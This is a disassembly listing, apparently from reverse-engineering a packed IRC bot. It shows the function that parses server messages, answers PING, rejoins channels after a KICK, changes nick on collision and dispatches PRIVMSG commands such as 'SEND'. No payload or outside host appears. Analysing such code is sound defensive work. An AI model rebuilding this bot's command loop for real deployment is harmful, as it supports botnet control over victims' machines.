var_50F0	= byte ptr -50F0h
var_4FF0	= byte ptr -4FF0h
var_4EEC	= byte ptr -4EECh
var_4DEC	= byte ptr -4DECh
var_4CEC	= byte ptr -4CECh
var_4BEC	= byte ptr -4BECh
var_4AEC	= byte ptr -4AECh
var_48EC	= byte ptr -48ECh
var_47E8	= byte ptr -47E8h
var_46E8	= byte ptr -46E8h
var_45E8	= byte ptr -45E8h
var_4584	= byte ptr -4584h
var_4484	= byte ptr -4484h
var_4284	= byte ptr -4284h
var_4184	= byte ptr -4184h
var_4084	= byte ptr -4084h
var_3F84	= dword	ptr -3F84h
var_3F80	= dword	ptr -3F80h
var_3F7C	= byte ptr -3F7Ch
var_3EFC	= byte ptr -3EFCh
var_3E7C	= byte ptr -3E7Ch
var_3DFC	= byte ptr -3DFCh
var_3D7C	= byte ptr -3D7Ch
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= byte ptr -3CECh
var_3C6C	= byte ptr -3C6Ch
var_3B68	= byte ptr -3B68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= dword	ptr -3A54h
var_3A50	= byte ptr -3A50h
var_37C9	= byte ptr -37C9h
var_37C8	= byte ptr -37C8h
var_36C4	= dword	ptr -36C4h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36B0	= dword	ptr -36B0h
var_36A8	= dword	ptr -36A8h
var_36A4	= dword	ptr -36A4h
var_36A0	= byte ptr -36A0h
var_3620	= byte ptr -3620h
var_35A0	= byte ptr -35A0h
var_3520	= byte ptr -3520h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= dword	ptr -3490h
var_348C	= byte ptr -348Ch
var_340C	= byte ptr -340Ch
var_338C	= byte ptr -338Ch
var_330C	= byte ptr -330Ch
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= dword	ptr -327Ch
var_3278	= byte ptr -3278h
var_31F8	= byte ptr -31F8h
var_3178	= byte ptr -3178h
var_30F8	= byte ptr -30F8h
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= dword	ptr -3068h
var_3064	= byte ptr -3064h
var_2FE4	= byte ptr -2FE4h
var_2F64	= byte ptr -2F64h
var_2EE4	= byte ptr -2EE4h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= dword	ptr -2E58h
var_2E54	= dword	ptr -2E54h
var_2E50	= byte ptr -2E50h
var_2D4C	= byte ptr -2D4Ch
var_2C48	= dword	ptr -2C48h
var_2C44	= dword	ptr -2C44h
var_2C40	= dword	ptr -2C40h
var_2C3C	= byte ptr -2C3Ch
var_2BBC	= dword	ptr -2BBCh
var_2BB8	= dword	ptr -2BB8h
var_2BB4	= dword	ptr -2BB4h
var_2BB0	= byte ptr -2BB0h
var_2AAC	= dword	ptr -2AACh
var_2AA4	= byte ptr -2AA4h
var_298C	= byte ptr -298Ch
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= dword	ptr -28F8h
var_28F4	= byte ptr -28F4h
var_2874	= byte ptr -2874h
var_2774	= byte ptr -2774h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= dword	ptr -2650h
var_264C	= byte ptr -264Ch
var_25CC	= byte ptr -25CCh
var_24CC	= byte ptr -24CCh
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= dword	ptr -23A8h
var_23A4	= byte ptr -23A4h
var_2324	= byte ptr -2324h
var_22A4	= byte ptr -22A4h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= dword	ptr -2214h
var_2210	= byte ptr -2210h
var_2190	= byte ptr -2190h
var_2110	= byte ptr -2110h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= dword	ptr -2080h
var_207C	= byte ptr -207Ch
var_1FFC	= byte ptr -1FFCh
var_1F7C	= byte ptr -1F7Ch
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= dword	ptr -1EECh
var_1EE8	= byte ptr -1EE8h
var_1DE8	= byte ptr -1DE8h
var_1D68	= dword	ptr -1D68h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D4C	= dword	ptr -1D4Ch
var_1D44	= byte ptr -1D44h
var_1D30	= byte ptr -1D30h
var_1C2C	= byte ptr -1C2Ch
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B98	= dword	ptr -1B98h
var_1B90	= byte ptr -1B90h
var_1B7C	= byte ptr -1B7Ch
var_1A78	= byte ptr -1A78h
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= dword	ptr -19E4h
var_19E0	= byte ptr -19E0h
var_1960	= byte ptr -1960h
var_1920	= byte ptr -1920h
var_1820	= dword	ptr -1820h
var_181C	= dword	ptr -181Ch
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= dword	ptr -1808h
var_1804	= byte ptr -1804h
var_17CC	= byte ptr -17CCh
var_1794	= byte ptr -1794h
var_1778	= byte ptr -1778h
var_1774	= byte ptr -1774h
var_16F4	= byte ptr -16F4h
var_16B4	= byte ptr -16B4h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= byte ptr -1610h
var_1590	= byte ptr -1590h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= dword	ptr -1504h
var_1500	= byte ptr -1500h
var_14F0	= byte ptr -14F0h
var_1470	= byte ptr -1470h
var_13F0	= dword	ptr -13F0h
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= dword	ptr -13D4h
var_13D0	= byte ptr -13D0h
var_1350	= byte ptr -1350h
var_12D0	= byte ptr -12D0h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_122C	= byte ptr -122Ch
var_11AC	= byte ptr -11ACh
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_110C	= dword	ptr -110Ch
var_1108	= byte ptr -1108h
var_1088	= byte ptr -1088h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= dword	ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= byte ptr -0FE4h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= dword	ptr -0F54h
var_F50		= byte ptr -0F50h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= dword	ptr -0EC0h
var_EBC		= byte ptr -0EBCh
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= dword	ptr -0E30h
var_E2C		= byte ptr -0E2Ch
var_DAC		= byte ptr -0DACh
var_D9C		= byte ptr -0D9Ch
var_D7C		= dword	ptr -0D7Ch
var_D78		= byte ptr -0D78h
var_CF8		= byte ptr -0CF8h
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= dword	ptr -0C54h
var_C50		= byte ptr -0C50h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= dword	ptr -0BC4h
var_BC0		= byte ptr -0BC0h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= dword	ptr -0B2Ch
var_B28		= byte ptr -0B28h
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= dword	ptr -9FCh
var_9F8		= byte ptr -9F8h
var_978		= word ptr -978h
var_974		= dword	ptr -974h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_964		= dword	ptr -964h
var_95C		= byte ptr -95Ch
var_8FB		= byte ptr -8FBh
var_8FA		= byte ptr -8FAh
var_8F8		= byte ptr -8F8h
var_8F7		= byte ptr -8F7h
var_8EE		= byte ptr -8EEh
var_8EC		= byte ptr -8ECh
var_8EA		= byte ptr -8EAh
var_8E9		= byte ptr -8E9h
var_85C		= byte ptr -85Ch
var_84C		= byte ptr -84Ch
var_7CC		= byte ptr -7CCh
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= dword	ptr -718h
var_710		= dword	ptr -710h
var_70C		= byte ptr -70Ch
var_68C		= dword	ptr -68Ch
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_67C		= dword	ptr -67Ch
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_66C		= dword	ptr -66Ch
var_664		= dword	ptr -664h
var_638		= dword	ptr -638h
var_634		= word ptr -634h
var_620		= dword	ptr -620h
var_61C		= byte ptr -61Ch
var_59C		= byte ptr -59Ch
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_570		= dword	ptr -570h
var_56C		= byte ptr -56Ch
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C4		= byte ptr -4C4h
var_4B8		= byte ptr -4B8h
var_480		= byte ptr -480h
var_470		= byte ptr -470h
var_3F0		= byte ptr -3F0h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_334		= byte ptr -334h
var_318		= word ptr -318h
var_316		= word ptr -316h
var_314		= dword	ptr -314h
var_308		= byte ptr -308h
var_304		= byte ptr -304h
var_300		= dword	ptr -300h
var_2F4		= byte ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2E4		= byte ptr -2E4h
var_2E0		= byte ptr -2E0h
var_2DF		= byte ptr -2DFh
var_2DE		= byte ptr -2DEh
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D84h
		call	sub_41C2F0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	sub_41BD60
		push	1Bh
		lea	eax, [ebp+var_334]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F9E
		push	esi
		lea	eax, [ebp+var_4484]
		push	ebx
		push	eax
		call	sub_41BD60
		dec	esi
		lea	eax, [ebp+var_4484]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_4484]
		push	offset asc_42E0CC ; " :"
		push	eax
		call	sub_41C0D0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4484]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AEC]
		push	eax
		call	sub_41BDC0
		mov	esi, offset asc_42E0C8 ; " "
		lea	eax, [ebp+var_4AEC]
		push	esi
		push	eax
		call	sub_41C8C4
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_90], eax
		inc	edi


loc_401C2C:				; CODE XREF: sub_401B66+DAj
		push	esi
		push	ebx
		call	sub_41C8C4
		mov	[ebp+edi*4+var_90], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_401C2C
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F9E
		cmp	[ebp+var_8C], ebx
		jz	loc_401F9E
		push	100h
		lea	eax, [ebp+var_95C]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401C74:				; CODE XREF: sub_401B66+142j
		lea	ecx, [ebp+edx*4+var_90]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401CA7
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401CAA
		cmp	[eax+2], bl
		jnz	short loc_401CAA
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_95C], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401CA7:				; CODE XREF: sub_401B66+119j
		dec	edx
		jns	short loc_401C74


loc_401CAA:				; CODE XREF: sub_401B66+11Ej
					; sub_401B66+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_8E9], bl
		jz	short loc_401CB8
		mov	[ebp+var_8], edi


loc_401CB8:				; CODE XREF: sub_401B66+14Dj
		cmp	[ebp+var_8EE], bl
		jz	short loc_401CC6
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401CC6:				; CODE XREF: sub_401B66+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401D00
		push	7Fh
		lea	eax, [ebp+var_E2C]
		push	esi
		push	eax
		call	sub_41BDC0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_C0]
		push	offset asc_42E0C4 ; "!"
		push	eax
		call	sub_41C8C4
		add	esp, 20h


loc_401D00:				; CODE XREF: sub_401B66+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D51
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401DF5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		add	esp, 10h
		jmp	loc_401DF5
; ---------------------------------------------------------------------------


loc_401D51:				; CODE XREF: sub_401B66+1A9j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098F6
		push	esi
		push	offset a005	; "005"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098F6
		push	esi
		push	offset a302	; "302"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DBC
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401DF5
		inc	eax
		push	9Fh


loc_401DAE:				; DATA XREF: .RLPack:004FEE33r
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BDC0
		add	esp, 0Ch
		jmp	short loc_401DF5
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401B66+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DFC
		push	ebx
		push	dword_4CDB0C
		push	dword_42A098
		push	[ebp+arg_10]
		call	sub_40AF23
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		add	esp, 1Ch


loc_401DF5:				; CODE XREF: sub_401B66+1CAj
					; sub_401B66+1E6j ...
		mov	eax, edi
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_401DFC:				; CODE XREF: sub_401B66+265j
		mov	edi, [ebp+arg_18]
		lea	eax, [ebp+var_E2C]
		push	eax
		push	edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E1C
		mov	[ebp+var_A8], 1


loc_401E1C:				; CODE XREF: sub_401B66+2AAj
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401EE6
		cmp	[edi], bl
		jz	short loc_401EB1
		push	7Fh
		lea	eax, [ebp+var_E2C]
		push	edi
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch
		cmp	[ebp+var_84], ebx
		jz	short loc_401EB1
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EB1
		lea	eax, [ebp+var_C0]
		mov	[edi], bl
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E058
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		add	esp, 20h


loc_401EB1:				; CODE XREF: sub_401B66+2D3j
					; sub_401B66+2EDj ...
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F9E
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401ED9:				; CODE XREF: sub_401B66+587j
					; sub_401B66+83Aj ...
		push	[ebp+arg_4]
		call	sub_40993C
		jmp	loc_4042AE
; ---------------------------------------------------------------------------


loc_401EE6:				; CODE XREF: sub_401B66+2CBj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402006
		mov	eax, [ebp+var_88]
		lea	esi, [eax+1]
		lea	eax, [ebp+var_E2C]
		push	eax
		push	edi
		mov	[ebp+arg_24], esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		lea	eax, [ebp+var_E2C]
		push	21h
		push	eax
		call	sub_41C780
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F4D
		lea	eax, [edi+1]
		push	esi
		push	eax
		mov	byte ptr [edi],	3Ah
		call	sub_41C680
		push	[ebp+arg_0]
		add	edi, 2
		push	edi
		call	sub_41C690
		add	esp, 10h


loc_401F4D:				; CODE XREF: sub_401B66+3B2j
					; sub_401B66+3C9j
		cmp	esi, ebx
		jz	short loc_401F9E
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F76
		push	0Fh
		push	esi
		push	[ebp+arg_10]
		call	sub_41BDC0
		jmp	loc_4036C2
; ---------------------------------------------------------------------------


loc_401F76:				; CODE XREF: sub_401B66+3FEj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F7B:				; CODE XREF: sub_401B66+436j
		cmp	[edi], bl
		jz	short loc_401F92
		lea	eax, [ebp+var_E2C]
		push	eax
		push	edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FA6


loc_401F92:				; CODE XREF: sub_401B66+417j
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_401F7B


loc_401F9E:				; CODE XREF: sub_401B66+5Bj
					; sub_401B66+E4j ...
		xor	eax, eax
		inc	eax


loc_401FA1:				; CODE XREF: sub_401B66+291j
					; sub_401B66+2A08j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401FA6:				; CODE XREF: sub_401B66+42Aj
		lea	eax, [ebp+var_E2C]
		push	21h
		push	eax
		call	sub_41C780
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F9E
		push	eax
		call	sub_41B7B0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B7B0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F9E
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_45E8]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 24h
		jmp	short loc_401F9E
; ---------------------------------------------------------------------------


loc_402006:				; CODE XREF: sub_401B66+38Fj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402028
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402053


loc_402028:				; CODE XREF: sub_401B66+4AFj
		xor	esi, esi
		mov	[ebp+arg_C], edi


loc_40202D:				; CODE XREF: sub_401B66+4EBj
		mov	eax, [ebp+arg_C]
		cmp	[eax], bl
		jz	short loc_402046
		push	[ebp+var_90]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402094


loc_402046:				; CODE XREF: sub_401B66+4CCj
		add	[ebp+arg_C], 80h
		inc	esi
		cmp	esi, 1
		jl	short loc_40202D


loc_402053:				; CODE XREF: sub_401B66+4C0j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020F2
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402087
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402087:				; CODE XREF: sub_401B66+516j
		push	[ebp+var_80]
		push	offset unk_42E004
		jmp	loc_4098EA
; ---------------------------------------------------------------------------


loc_402094:				; CODE XREF: sub_401B66+4DEj
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		shl	esi, 7
		push	offset unk_42DFE0
		push	eax
		mov	[esi+edi], bl
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C840
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F9E
		lea	eax, [ebp+var_2C0]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401ED9
; ---------------------------------------------------------------------------


loc_4020F2:				; CODE XREF: sub_401B66+501j
		push	[ebp+var_8C]
		mov	edi, offset aPrivmsg ; "PRIVMSG"
		push	edi
		call	sub_41C840
		pop	ecx
		mov	esi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402146
		push	[ebp+var_8C]
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402146
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40976F
		cmp	dword_42A088, ebx
		jz	loc_40976F


loc_402146:				; CODE XREF: sub_401B66+5A6j
					; sub_401B66+5B8j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022B9
		push	[ebp+var_8C]
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022B9
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+var_88], eax


loc_40218B:				; CODE XREF: sub_401B66+812j
					; sub_401B66+84Ej ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_90]
		mov	eax, [edi]
		push	eax
		push	offset dword_42DFC4
		mov	[ebp+arg_8], eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402555
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402420
		cmp	[ebp+var_A8], ebx
		jz	loc_4023F6
		push	[ebp+esi+var_88]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_1B7C]
		push	edi
		push	eax
		call	sub_41C056
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_1B90]
		push	edi
		push	eax
		call	sub_41C056
		push	[ebp+esi+var_80]
		call	sub_41BF49
		mov	[ebp+var_19F8],	eax
